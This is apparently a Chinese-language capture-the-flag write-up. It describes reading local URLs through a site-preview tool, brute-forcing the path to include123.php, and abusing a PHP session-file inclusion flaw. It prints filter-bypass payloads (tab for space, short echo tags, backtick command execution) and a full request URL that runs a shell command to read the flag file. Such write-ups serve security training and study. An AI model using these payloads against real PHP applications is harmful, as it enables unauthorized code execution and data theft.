打开网站 看见登录框 CTF比赛 看见登录就想是不是SQL注入 或者与SESSION有关
测试后发现没有SQL注入 登录进去是一个检测网址 然后预览的工具 想到会不会有文件读取的漏洞
直接网址填写http://127.0.0.1 发现可以读取
去burp爆破 路径
发现路径 http://127.0.0.1/admin 去读取一下
发现include123.php 再去读取一下 得到源码
发现过滤了很多命令 而且有文件包含洞 先试一下SESSION包含
BURP抓包 改包
成功 然后尝试写入PHP代码
http://127.0.0.1/admin/include123.php?u=/tmp/sess_28d5aae86a8d2686a038956f34468348%26
成功执行 !看一下PHPINFO
http://127.0.0.1/admin/include123.php?u=/tmp/sess_28d5aae86a8d2686a038956f34468348%26
但是过滤了太多函数没有读取文件的好方法 但是发现short_open_tag 开启 !可以用短标签=?>
想要绕过check函数写shell,过滤了空格可以用 %09或者\t代替,过滤了php可以用短标签=?>代替,相当于<? echo>;
过滤了_可以用=``?>代替,反引号在php中有执行命令的效果
这部分知识可以在https://www.cnblogs.com/lthlsy/p/14894226.html这里找到
直接 ls 看一下目录 找到FLAG文件
直接 cat flag
http://127.0.0.1/admin/include123.php?u=/tmp/sess_28d5aae86a8d2686a038956f34468348%26=`cat\t/???????.sh`;?>
得到
flag{4ede2e97-cbe8-424d-b9e6-f2150ad4515b